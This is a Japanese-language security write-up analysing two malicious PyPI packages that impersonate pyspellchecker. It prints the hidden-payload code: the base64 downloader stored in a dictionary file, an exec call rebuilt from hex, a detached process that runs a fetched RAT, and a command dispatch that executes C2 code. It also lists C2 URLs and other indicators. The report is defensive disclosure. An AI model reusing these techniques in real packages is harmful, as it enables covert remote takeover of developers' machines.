2026年1月20日と21日に、当社のマルウェア検出パイプラインが2つの新しいPyPIパッケージを検出しました。 spellcheckerpy そして spellcheckpy。両方ともpyspellcheckerライブラリの正当な作者であると主張し、彼の実際のGitHubリポジトリにリンクされていました。
それらは彼の作成したものではありませんでした。
バスク語辞書ファイルの中に、フル機能のPython RATをダウンロードするbase64エンコードされたペイロードが隠されていました。攻撃者はまず、ペイロードは存在するもののトリガーがない「休眠状態」の3つのバージョンを公開し、その後 spellcheckpy v1.2.0でスイッチを入れ、インポートした瞬間に起動する難読化された実行トリガーを追加しました。 SpellChecker.
一見して分からないように隠されたペイロード
マルウェアの作者は巧妙でした。通常の手口(postinstall スクリプト、難読化された __init__.py)、ペイロードを中に埋め込みました resources/eu.json.gz、実際にバスク語の単語頻度を合法的に含むファイル pyspellchecker パッケージです。
抽出関数は utils.py:
def test_file(filepath: PathOrStr, encoding: str, index: str):
filepath = f"{os.path.join(os.path.dirname(__file__), 'resources')}/{filepath}.json.gz"
with gzip.open(filepath, "rt", encoding=encoding) as f:
data = json.loads(f.read())
return data[index]無害に見えます。しかし、~で呼び出されると test_file("eu", "utf-8", "spellchecker")、単語頻度を取得しません。代わりに、辞書エントリ内に'spellchecker'というキーで隠されたbase64エンコードされたダウンローダーを取得します。
休眠状態から致命的なものへ
最初の3つのバージョンでは、ペイロードは抽出され、デコードされますが、実行されることはありませんでした。
test_index = test_file("eu", "utf-8", "spellchecker")
test_index = base64.b64decode(test_index).decode("utf-8")
# それだけです。exec()はありません。ペイロードはただそこに存在します。安全装置がかかった装填済みの銃。
その後、 spellcheckpy v1.2.0が登場しました。攻撃者はトリガーを WordFrequency.__init__ に移動させ、難読化を追加しました。
if eval(compile(base64.b64decode(test_file("eu", "utf-8", "spellchecker")).decode("utf-8"),
"<string>",
bytes.fromhex("65786563").decode("utf-8"))):
self._evaluate = Trueお分かりでしょうか?この bytes.fromhex("65786563") は「」にデコードされます。exec」。
と直接記述する代わりに、 exec() 静的スキャナーが検出するため、彼らは実行時に16進数から文字列を再構築します。インポートし、 SpellCheckerインスタンス化すると、RATが実行されます。
RAT:完全なリモート制御
ステージ1のペイロードはダウンローダーです。これは実際のペイロードを~からフェッチします。 https://updatenet[.]work/settings/history.php そして、それをデタッチされたプロセスで生成します:
p = subprocess.Popen(
["python3", "-"],
stdin=subprocess.PIPE,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
start_new_session=True
)
p.stdin.write(downloaded_payload)
p.stdin.close()
これが start_new_session=True 重要です。スクリプトが終了してもRATは存続します。ディスクにファイルは書き込まれず、静かにデタッチされた状態です。
ステージ2 RATは、いくつかの興味深い特性を持つフル機能のリモートアクセストロイの木馬です:
初期化時のシステムフィンガープリンティング:
szObjectID = ''.join(random.choice(string.ascii_letters) for x in range(12))
szPCode = "Operating System : " + platform.platform()
szComputerName = "Computer Name : " + socket.gethostname()C2通信のための2層XOR暗号化: RATは16バイトのXORキー([3, 6, 2, 1, 6, 0, 4, 7, 0, 1, 9, 6, 8, 1, 2, 5])を外側のレイヤーに、そしてコマンドペイロードにはキー123による二次XORを使用します。暗号学的に強力ではありませんが、シグネチャベースの検出を回避するには十分です。
カスタムバイナリプロトコル: コマンドは~として返されます。 [4バイトコマンドID][4バイト長][XOR暗号化ペイロード]RATはこれをパースし、復号化してディスパッチします。
任意のコード実行: コマンドID 1001が到着すると、RATはそれを実行します:
if nCMDID == 1001:
exec(szCode)永続的なビーコンループ:
RATは5秒ごとに~にコールバックし、 https://updatenet[.]work/update1.php、その被害者ID(キャンペーン
FD429DEABE)を送信し、コマンドを待ちます。SSL証明書の検証は~を介して無効化されています。
ssl._create_unverified_context().
C2インフラストラクチャ
C2ドメイン updatenet[.]work 悪意のある活動をホスティングした履歴が文書化されているインフラストラクチャに解決されます。
ドメイン登録:
- ドメイン:
updatenet[.]work - 登録日: 2025年10月28日 (マルウェア公開の約3ヶ月前)
ホスティングインフラストラクチャ:
- IPアドレス:
172.86.73[.]139 - ASN: AS14956 RouterHosting LLC
- 場所: 米国テキサス州ダラス
- 関連ドメイン:cloudzy.com
- ネットワーク:
172.86.73.0/24
重要性: RouterHosting LLCはCloudzyとして運営されており、"Command-and-Control Provider" (C2P) として広く文書化されているホスティングプロバイダーです。2023年8月、Halcyonは「Cloudzy with a Chance of Ransomware」と題するレポートを発表し、Cloudzyのトラフィックの40~60%が悪意のあるものであることを発見しました。このレポートは、Cloudzyのインフラストラクチャが、中国、イラン、北朝鮮、ロシア、その他の国のAPTグループ、ランサムウェア運用者、および制裁対象のイスラエル製スパイウェアベンダーと関連していることを指摘しました。
過去のキャンペーンとの関連
これは単独のインシデントではありません。2025年11月には、 HelixGuardが同様の攻撃を記録しました spellcheckersパッケージを使用して(ターゲットは同じですが、名前が異なります)。そのキャンペーンは、XOR暗号化、コマンドID 1001、exec()といった同じRAT構造を使用していましたが、C2インフラストラクチャは異なっていました(dothebest[.]store)
ドメインは異なりますが、同じプレイブックです。これは、まったく同じ脅威アクターによるものと思われます。
侵害の痕跡
パッケージ: spellcheckerpy(全バージョン)、spellcheckpy(全バージョン)
C2インフラストラクチャ:
updatenet[.]workhttps://updatenet[.]work/settings/history.php(ステージ2配信)https://updatenet[.]work/update1.php(ビーコンエンドポイント)172.86.73[.]139(AS14956 RouterHosting LLC / Cloudzy)
キャンペーン識別子:
- キャンペーンID:
FD429DEABE - XORキー:
03 06 02 01 06 00 04 07 00 01 09 06 08 01 02 05 - セカンダリXOR:
0x7B(123)
ペイロードの場所:
resources/eu.json.gz、キー spellchecker

